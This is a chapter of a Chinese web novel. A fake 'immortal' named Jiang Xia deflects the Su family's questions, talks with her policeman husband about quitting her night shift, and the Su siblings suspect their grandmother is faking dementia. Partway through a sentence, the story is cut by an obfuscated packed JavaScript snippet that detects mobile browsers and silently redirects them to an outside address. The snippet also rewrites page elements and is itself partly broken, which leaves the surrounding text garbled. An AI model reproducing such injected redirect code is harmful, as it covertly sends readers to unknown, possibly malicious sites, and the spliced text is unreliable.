苏怀瑾又露出一副我懂的表情,道:“姐,你先别着急,关于奶奶装老年痴呆的原因,大仙后面就会告诉你的。” “之前我向大仙询问小妹和爸的事,大仙跟我说的也是‘时机未到’,我当时就很听话没追问。” “时机到了,大仙自然会告诉咱的。”他单纯地笑道。 谁来告诉她,为什么她此刻内心有股难以抑制,想要捶死她老弟的冲动? 闻言,江夏忍不住向苏怀瑾投去感激的目光:好孩子,幸好有你。 但苏怀瑾明显会错了意,以为大仙是在认可他的悟性,立即骄傲地昂起胸膛。 江夏:…… 挠头,不知道该说什么。 “那我小妹肺炎住院是因为什么?她是突然感冒发烧,然后严重至高烧不退,去医院一查才发现是烧出了肺炎,但是小妹的身体一向很好,很少发烧。”苏红瑛不死心地追问道。 江夏硬着头皮:“时机未到。” 苏红瑛:“那我爸出车祸的事呢?” 江夏心如死灰:“时机未到。” 她一连说了三个“时机未到”,说得她自己都有点快绷不住了。 演戏好难。 说实话,她现在更佩服苏家老太太了,演了两年多,她难道就没有绷不住的时候? 苏红瑛的表情也有那么一点略带无语。 但无语归无语,她也没说什么。毕竟她暂时也没别的办法,还是先听大仙的吧。 这时,江夏时机恰当地抬起腕表。 她尴尬地咳了一声,道:“时间不早了,我家里还有事,需要先回去。” “好的,大仙,我现在就让司机送你回家。”苏怀瑾响应很快。 江夏微微颔首。 说罢,苏怀瑾又像是想起什么,忙将怀里的五千块钱捧在掌心,双手奉给江夏。 “江大仙,这是请您来苏家的报酬,还请您务必收下。”他语气诚恳道。 江夏却再次拒绝。 她将钱推了回去,道:“不着急,等事情尘埃落定,这钱我再收也不迟。” 这次过来她便意识到苏家的事复杂,她还真没十分的把握能妥善处理好。 故此,她自然不能贸然收钱。 说起来,除了这钱,她也同样好奇这事背后的曲折和真相。 直觉告诉她,这里头有大瓜。 苏怀瑾以为“事了后再收钱”同样大仙行事的规矩,就没再给她硬塞钱了。 旁边的苏红瑛沉默地看着这一幕,没有说话。 上车后,江夏道:“苏同志,麻烦把我送到我停自行车的地方就行。” “好的,大仙。”苏怀瑾听话道,并让司机开到原先的位置。 下车前,两人还特地交换了联系方式,江夏给的是家附近小商店的固定电话,苏怀瑾留的是苏家的座机固话。 这样,有什么突发情况,双方都可随时联系。 骑车回到家后,她看着外头艳阳高照的天,懒懒地打了一个哈欠。 时候真的不早了,再不补觉她怕自己会猝死。 * 苏怀瑾回来后,苏红瑛装作不经意地问道:“把大仙送到了?” 他点头:“嗯。” 点完头,他像是意识到什么,立即笑道:“姐,你看你现在也一口一个大仙了。” “之前你还不信我呢。” 苏红瑛战术性清嗓:“咳咳,其他的不说,就这个‘视金钱如粪土’的品质,还是能看出她志趣高洁的。” 苏怀瑾立刻明白姐姐说的是江夏不收钱的事。 他很是赞同地点点头:“毕竟世外高人嘛,跟咱们还是不太一样的。” 正在补觉的江夏完全不知道这个美丽的误会。 若是此刻她在现场,她一定会解释:本人爱财如命,至于为什么不先收那五千块钱,那是因为她有贼心没贼胆啊。 * 因睡得过晚,这次她再次睡到六点多才被闹钟吵醒。 江夏打着哈欠起床,困得眼睛都睁不开。 这样晚上干活,白天还跟着干,她怕她撑不了几天真的会过劳死。 辞职的事要赶紧提上日程才行。 她刚一推开门,就发现秦瞻下班回来了。 他人在厨房忙活,正在炒菜。 江夏看着他在厨房忙活的背影,站在原地发了一会儿呆。 大概是干警察的对背后的视线都比较敏感,她盯了没一会儿,秦瞻就转过身来看向她。 “起床了,饭马上也快好了。”他微笑道。 江夏怔了一瞬,有种偷看却被当事人现场抓包的窘迫感。 她点点头,立即走去阳台洗漱。 等她洗漱完,热腾腾的饭菜已被端上了桌。 “晚上是加班了吗?”两人沉默吃饭的时候,秦瞻忽然开口,“看你今天起得比上次晚些。” 江夏点点头,然后又忍不住打了一个哈欠。 “对,加得还有点晚。” 回答完,她想起他昨晚没回来的事,随口问道:“你呢?最近也很忙吗?” 人际关系讲究的便是个礼尚往来,人家都主动开口对她表示关心了,她要是啥也不说,就显得她有点不懂人情世故了。 “嗯,最近是有点忙。”秦瞻道。 昨晚他直接睡在了所里。 这几天所里的事情是多了起来,但忙虽然忙,却不至于忙得回不了家。 昨天他结束工作已经晚上十点多了,同事陆续下班回家,他却坐在工位上没急着动。 旁边的同事见他不急着回家,忍不住打趣道:“工作狂,你不会又打算睡所里吧?” “身体是革命的本钱,适当的休息还是很有必要的。” 秦瞻揉了揉疲惫的眼角,没怎么理会同事的调侃。 “等会儿就回去。”他笑着说。 但等同事都走了,他却没回家,而是像往常一样去了所里的休息室。 以往他加班太晚,就直接睡所里的休息室。 他的想法也很简单,反正明天也是要早起上班,不如直接睡所里,还省去了来回跑的时间。 不过,今天有点奇怪,自下班后,他总感觉他好像忘了什么。 洗漱的时候他在想,躺床上他也在想,可直到睡着他都没能想起来自己忘了什么。 直至半夜,他从梦中惊醒,猛地睁开眼,他才忽然想起,自己究竟忘了什么。 他把江夏一个人丢家里了。 等脑子逐渐清明,他才想起来,江夏晚上要去棉纺厂值夜班。 所以,这个点也不在家里,于是,他又安心地重新睡着了。 听到秦瞻的回答,江夏点了下头。 随后两人继续开启沉默吃饭模式。 领证结婚一个星期,两人的对话内容还是尬尬的。 饭吃到一半,江夏突然想起辞职的事,她辞职应该提前跟秦瞻打个招呼吧,毕竟他俩好歹是夫妻。 “有个事想跟你说一下。”她缓缓开口。 秦瞻闻言停下吃饭的动作,抬眼看向她。 “我的身体一向不太好,而棉纺厂的工作又要倒夜班,所以,”她道,“我想把这份工作辞了。” 他点点头,道:“倒夜班确实不太好,不仅身体容易吃不消,女孩子晚上去上班走夜路也不太安全。” “辞了也好,”他认同道,“你的身体要是实在吃不消,在家养着也行,我努努力,尽量靠我一个人的工资养活咱俩。” 在说出辞职的事之前,江夏有设想过秦瞻不会同意,也设想过他会同意,但让她换个不用倒夜班的工作。 但她没想到他会这么说,让她在家歇着,养家的事他来。 当然,她也没打算靠他来养,死过一次的她,再明白不过,没有谁比自己更靠得住。 只是方才他的回答让她有些意外,意外之余又包含了几分动容。 “嗯。”她微微颔首,没再说什么。 * 与此同时的苏家。 深夜,苏怀瑾被渴醒,于是来到厨房的冰箱找汽水喝。 他用起瓶器撬开汽水瓶盖,扬起玻璃瓶,往嘴里猛灌了一口汽水。 冰镇的汽水顺着喉咙食管下肚,简直又爽又提神。 此时已经入秋,外头秋风阵阵。 苏怀瑾顺手推开通往院子的落地窗,站在院子里吹着微凉的秋风。 带着丝丝凉意的晚风吹在脸上,一下便卷走了身上的燥意,苏怀瑾爽得又灌了好几口汽水。 “苏怀瑾——” 身后冷不丁响起一道女声,给他吓得差点被嘴里的汽水呛死。 苏怀瑾猛咳了几声,回头一看,才发现苏红瑛正靠在角落的躺椅上。 夜里院子一片漆黑,连束月光都没有,苏红瑛又坐在角落从始至终没发出丁点声音,他自然发现不了她。 “姐,你不知道人吓人吓死人啊?”苏怀瑾一脸惊魂未定道。 “谁让你半夜不睡觉,在这偷喝汽水。”苏红瑛声音懒懒道。 “我是被渴醒的。”苏怀瑾满脸无辜地解释。 “倒是你,大半夜的不睡觉,躲在这吓人干嘛?”他反问。 “没做亏心事,不怕鬼敲门,”苏红瑛理直气壮道,“吓的就是你这种胆小又心虚的人。” 苏怀瑾:…… 见他不说话,苏红瑛站起身,单手搭在苏怀瑾肩上,半个背靠着落地窗。 苏红瑛身高一米六五,苏怀瑾比她高了十五厘米,所以她这肩搭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15183691|165412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点辛苦。 她收回手,双手抱臂,道:“想事情呢,睡不着。” “想什么呢?”苏怀瑾接着话茬问。 “想奶奶装老年痴呆的事啊,”她道,“现在想想,奶奶装老年痴呆其实是有迹可循的。” “首先,装病这事就是个大漏洞,哪个老年痴呆患者会如此有条有理地装病啊,这明显就是脑子清醒的人才能干出的事。” “再就是,我在医院用开颅手术吓她的时候,她不仅被吓到,还一下就叫出了我的名字。” “虽说老年痴呆患者的记忆会时好时坏,但也没那么合适吧,偏偏在我吓她的时候她就记起来我是她孙女了。” 苏怀瑾听完姐姐的分析,认同地点点头:“还挺有道理的。” “是吧,”她道,“只不过这些细节之前都被我们给忽视了,直到大仙说奶奶的老年痴呆是装的。” “我们在得知结论的前提下,重新回过头来验证,就发现有很多细节可以佐证。” “哎,”苏红瑛碰了下他的手臂,语气认真道,“你说奶奶是为什么又装病又装老年痴呆啊?” 两人站在落地窗边说话,风一吹正好将他们的声音带到屋内。 此时,黄丽淑恰好来到一楼,苏红瑛的这句疑问,刚巧随着风飘进她的耳中。 黄丽淑脚步一顿,在听到这句话后,脸色又白了几分。 老太太的老年痴呆竟然是装的? 她整个人僵在原地,正好又偷听到两人接下来的谈话。 “奶奶装病,是因为想我们了,想让我们尽快回家,这是大仙说的,”苏怀瑾道,“至于奶奶为什么装老年痴呆,大仙也说了,时机未到。” “弟啊,这些我都知道的废话,就不要再说了好吗?”苏红瑛有那么一丢无语道。 “我总感觉奶奶装病不是简单的想我们,装老年痴呆也是。” 说着,她忽地凑近苏怀瑾,语气夸张道:“说了你可能不信,我总感觉这背后隐藏着什么惊天内幕。” 苏怀瑾闻言正想说什么,客厅却突然传来一点响动,在这静谧的夜晚,显得格外清晰。 “谁?”苏红瑛头一扭,视线朝屋内扫去,却只看见客厅中央站着一个漆黑的人影。 黄丽淑低头看了看脚边被她不小心踢到的椅子,气得咬了咬牙。 她怎么就这么倒霉。 本打算偷听完就回去的,没想到一转身就踢到了椅子。 苏红瑛话音刚落,客厅的灯便“啪”的一下被打开。 几人长时间处于黑暗之中,灯光骤然亮起,均被刺得眯起了双眼。 苏红瑛眨了眨眼,立即看清站在客厅的人是黄丽淑,灯也是她开的。 “黄阿姨,你下楼怎么也不出个声?”她语气冷淡道。 “我下楼喝口水,你们也真是,躲在院子说话也不开灯,我还以为是谁呢,给我吓一跳。”说着,她像是真的被吓到似的拍了拍自己的胸口。 黄丽淑反应快,一下便反守为攻。 苏红瑛盯着她沉默地看了一会儿,没说话。 下一秒,她矫揉造作地打了一个大大的哈欠。 “困了,回去睡觉。” 说罢,她有转头又看向苏怀瑾:“时候不早了,你喝完汽水也赶紧去睡觉。” “知道了,现在就去。”他答。 这边,黄丽淑心有余悸地回了房,她背靠着房门,拍了拍自己狂跳的心脏。 等心率稍微平复后,她拿起自己的大哥大,手提移动电话,拨通了一个号码。 号码拨通后她没有说话,那头的人也没有说话。 黄丽淑对着电话沉默了三秒,然后挂断。 隔天一大早,苏红瑛便来到苏怀瑾的卧室。 她将门关上,问:“你说,昨晚黄丽淑是什么时候到一楼的?” “咱俩的谈话她又听到了多少?” “姐,你的意思是说,昨晚黄阿姨偷听咱俩讲话?”苏怀瑾压低声音道。 苏红瑛点头道:“不是没有这个可能。” 早上,黄丽淑一吃完早饭,就拎着包出门。 苏红瑛见状装作随意关心:“黄阿姨,出去逛街呢?” 黄丽淑的反应倒是再正常不过, 她边穿鞋,边笑着回头跟苏红瑛说话:“是的呀,我朋友说百货大楼那边新进来不少漂亮衣服,就准备和她一起出去逛逛。” “要不要一起去?”她还笑着问。 苏红瑛勾唇微笑:“不了不了,你们玩得开心。” * 今天下班,江夏没再骑车到处闲逛,而是一下班就直接回家。 这几天她严重缺觉,实在不宜再熬下去了。 反正苏家也有她的建议方式,真要有什么突发情况,他们肯定会给她打电话的。 这一觉她从早上九点睡到下午五点多,足足睡了快九个小时。 补了个充足的睡眠再起床,她感觉自己精神气都好不少。 去阳台洗漱的时候,江夏瞅了眼时间,快六点。 这个点秦瞻还没下班,那今晚估计是不会回来了。 江夏洗漱完,在厨房随便搞了点吃的,吃完后便蹬着自行车去棉纺厂值班。 普普通通的一天过去。 下班后,她还是和昨天一样,直接回家。 只不过她刚到楼下,正准备锁车上楼的时候,她看见正前方突然出现一行弹幕。 【快去苏家,有大事发生!】 江夏神情一怔,正纳闷的时候,方才那行弹幕再次出现一遍。 强调和提醒意味再明显不过,看来苏家真有什么大事即将发生。 她连忙将自行车锁好,快步往旁边小商店走去。 拨通苏家电话后,江夏对电话那头的苏怀瑾道:“苏同志,派个车来接我,我有事去你家。” 苏怀瑾一听江夏的语气就知道事态紧急,以往大仙跟他们说话都是慢条斯理的,哪会像现在这般。 因此他也不敢多问耽误时间,赶忙应下:“好的,我让司机现在就出发。”